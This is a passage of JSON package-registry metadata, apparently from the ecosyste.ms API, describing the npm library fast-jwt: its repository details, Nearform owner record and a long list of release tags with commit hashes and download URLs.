lang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2281958,"maintainers_count":0,"namespaces_count":839500,"keywords_count":125409,"github":"golang","metadata":{"funded_packages_count":68001,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-08-26T05:01:06.821Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":1707200,"name":"fast-jwt","ecosystem":"npm","description":"Fast JSON Web Token implementation","homepage":"https://github.com/nearform/fast-jwt","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nearform/fast-jwt","keywords_array":["jwt"],"namespace":null,"versions_count":69,"first_release_published_at":"2020-06-23T09:14:07.319Z","latest_release_published_at":"2026-08-04T09:01:32.410Z","latest_release_number":"6.3.2","last_synced_at":"2026-08-25T09:02:11.653Z","created_at":"2022-04-09T15:26:49.196Z","updated_at":"2026-08-25T09:02:11.653Z","registry_url":"https://www.npmjs.com/package/fast-jwt","install_command":"npm install fast-jwt","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"6.3.2"},"contentPolicy":null},"repo_metadata":{"id":37406481,"uuid":"234146172","full_name":"nearform/fast-jwt","owner":"nearform","description":"Fast JSON Web Token implementation","archived":false,"fork":false,"pushed_at":"2024-10-21T18:18:56.000Z","size":1033,"stargazers_count":347,"open_issues_count":8,"forks_count":30,"subscribers_count":83,"default_branch":"master","last_synced_at":"2024-10-22T09:39:27.890Z","etag":null,"topics":["hacktoberfest","jwt","jwt-token"],"latest_commit_sha":null,"homepage":"https://nearform.github.io/fast-jwt/","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nearform.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-01-15T18:31:08.000Z","updated_at":"2024-10-21T18:17:49.000Z","dependencies_parsed_at":"2023-11-07T17:47:49.424Z","dependency_job_id":"595711db-b0a3-4b8b-8776-0f01e1f30c70","html_url":"https://github.com/nearform/fast-jwt","commit_stats":{"total_commits":273,"total_committers":42,"mean_commits":6.5,"dds":0.7582417582417582,"last_synced_commit":"42becd7ba580530e2c5d28405ead21fdf695e1c1"},"previous_names":[],"tags_count":48,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":222119788,"owners_count":16934949,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nearform","name":"Nearform","uuid":"1544687","kind":"organization","description":"","email":"hello@nearform.com","website":"http://www.nearform.com/","location":"Ireland","twitter":"NearForm","company":null,"icon_url":"https://avatars.githubusercontent.com/u/1544687?v=4","repositories_count":326,"last_synced_at":"2024-04-10T12:51:00.706Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nearform","funding_links":[],"total_stars":6004,"followers":207,"following":0,"created_at":"2022-11-04T05:01:19.877Z","updated_at":"2024-04-10T12:52:48.987Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform/repositories"},"tags":[{"name":"v4.0.1","sha":"f284e209b4891419da761e72e1dc90b5305f7fc9","kind":"commit","published_at":"2024-04-27T16:21:31.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8384c8107c44546dc47aff16be9386cf9d305daf","kind":"commit","published_at":"2024-02-15T23:07:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.0/manifests"},{"name":"v3.3.3","sha":"6e5bf0081899703f8006ac75fc11cca5d2d84b67","kind":"commit","published_at":"2024-01-29T10:58:38.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.3/manifests"},{"name":"v3.3.2","sha":"6604166db410371590af56ade555a97f77484995","kind":"commit","published_at":"2023-11-20T14:30:16.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"d5ac9f2ca79bf11576bdf95d89edb85bd91d1a0c","kind":"commit","published_at":"2023-10-05T09:31:54.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"ae98d8132b451523ff4a0e7dfab3f105197a9fd8","kind":"commit","published_at":"2023-09-21T11:10:41.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.0/manifests"},{"name":"v3.2.0","sha":"6a044bb402d36cabc6a53ccef03db81e7aab43da","kind":"commit","published_at":"2023-08-18T10:49:22.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b01a15c995bff6608878a535e88452f92c76e126","kind":"commit","published_at":"2023-06-08T15:41:17.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"20b60bed72d7127efcb710882448e92e5a7b0e9a","kind":"commit","published_at":"2023-05-30T10:54:02.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"5047511a3a9391765f702907e136f526b7dcae81","kind":"commit","published_at":"2023-05-18T11:12:03.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.0.0/manifests"},{"name":"v2.2.3","sha":"988ee8ac96183248bfaf1a2500401039cfe725de","kind":"commit","published_at":"2023-05-11T12:22:31.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.3/manifests"},{"name":"v2.2.2","sha":"1247667d5816268338b75d604709ef4e31eeffb0","kind":"commit","published_at":"2023-04-27T08:59:37.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"d0d641a78d58db53b6abef0f7db05ba3777b0216","kind":"commit","published_at":"2023-03-30T09:32:26.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"a46f8e0ea33d419882f1ad2833c5012bb604d3e3","kind":"commit","published_at":"2023-02-07T11:07:14.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"318d351fbc2b6687ef69c6b23307799b7affab72","kind":"commit","published_at":"2023-01-10T11:23:17.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"d3b57d3f44a834ac43e74311b9bb7783dc9ff029","kind":"commit","published_at":"2022-11-18T11:41:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.0.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.2/manifests"},{"name":"v2.0.0","sha":"d6270e4f8ef3ef5638d8e316dd90d985f99e9f23","kind":"commit","published_at":"2022-11-14T17:05:53.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.0/manifests"},{"name":"v1.7.2","sha":"31209b3e1f5493e89a5c009e6527a4de973f3763","kind":"commit","published_at":"2022-11-13T11:16:20.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"c5ed86385c5c084bc30f248793d8cca048f7f211","kind":"commit","published_at":"2022-09-06T09:55:04.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"d88f03499671da58ec21b22b4815c66807a38b87","kind":"commit","published_at":"2022-08-01T16:06:41.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.0/manifests"},{"name":"v1.6.1","sha":"ef2615b7ebbf1cf03f1ce2a4130fcbce1f82663d","kind":"commit","published_at":"2022-07-10T21:37:42.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.6.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"474109c77b122022f1d51eeba7fb97466d3836e0","kind":"commit","published_at":"2022-06-21T09:22:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.6.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.0/manifests"},{"name":"v1.5.4","sha":"0c60acd08ab6b8cbeca14b0e3d32a555bf7381c7","kind":"commit","published_at":"2022-04-28T11:12:51.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.4","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.4/manifests"},{"name":"v1.5.3","sha":"fe11cc65f6063083e77d95d45929a59f0587a408","kind":"commit","published_at":"2022-04-06T08:01:00.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.3/manifests"},{"name":"v1.5.2","sha":"66eab88cc6b30bdd6e9cee45d88bd2abdc52b794","kind":"commit","published_at":"2022-04-04T14:46:04.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"1ab02127260afebb75cc151a7284af7856a8a79e","kind":"commit","published_at":"2022-02-21T14:15:42.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"94b1f2ddc304ec4fdf50a4ccbd4ee8e1e5584664","kind":"commit","published_at":"2022-02-17T14:21:46.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.0/manifests"},{"name":"v1.4.1","sha":"87eb00a559c747265a93abcd9e1720a33864af21","kind":"commit","published_at":"2021-12-30T09:56:35.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.4.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"47ae343727d2bea251d62f59ae99f9dd4c39b435","kind":"commit","published_at":"2021-12-01T16:51:17.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.4.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.0/manifests"},{"name":"v1.3.2","sha":"64d708da672e98c7ed282d19ad94cebe497a49ec","kind":"commit","published_at":"2021-11-10T10:17:13.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"3775179b4dc707d95a7bf27aa16273537bd274bd","kind":"tag","published_at":"2021-11-10T10:15:13.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"c5ee92f6e5bcd66a16bd1eb4b05028d9b799c4a2","kind":"commit","published_at":"2021-11-01T11:12:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"3797baed48f10a5ea1be1a42fd568f78b81e6d22","kind":"commit","published_at":"2021-06-18T09:44:58.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.2.0/manifests"},{"name":"v1.1.3","sha":"afc21fe439dd6318032f20b4ded5455c27496bea","kind":"commit","published_at":"2021-03-11T21:59:10.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"79c2d4f395f203c0d7851436891c31fc20e8a894","kind":"commit","published_at":"2021-03-10T09:49:14.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"74280953b1837e84e4863b2ab1dac8b72ac85a08","kind":"tag","published_at":"2021-03-08T16:36:03.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"8f9ad666a5a161a4d8d944ff4cde7f7a68e6d03f","kind":"commit","published_at":"2021-01-25T07:34:00.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"787d3c4af0570fb36fc0763c39cdeb7e3274a974","kind":"tag","published_at":"2021-01-21T12:06:38.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.0.0/manifests"},{"name":"v0.5.1","sha":"0b843ad29082408b5ab0da77bd4ba3dc6673ec88","kind":"tag","published_at":"2020-10-24T12:47:48.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.5.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"b88bce09f7e3f8993e6cf994371abb74c718b9f7","kind":"tag","published_at":"2020-10-24T08:23:40.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.5.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"e5d425bad5494c5d60881e20d173a2312bfe681d","kind":"commit","published_at":"2020-10-13T09:08:50.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"2f4796cf2587aa647590fdc277925a278841468a","kind":"commit","published_at":"2020-09-09T14:02:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.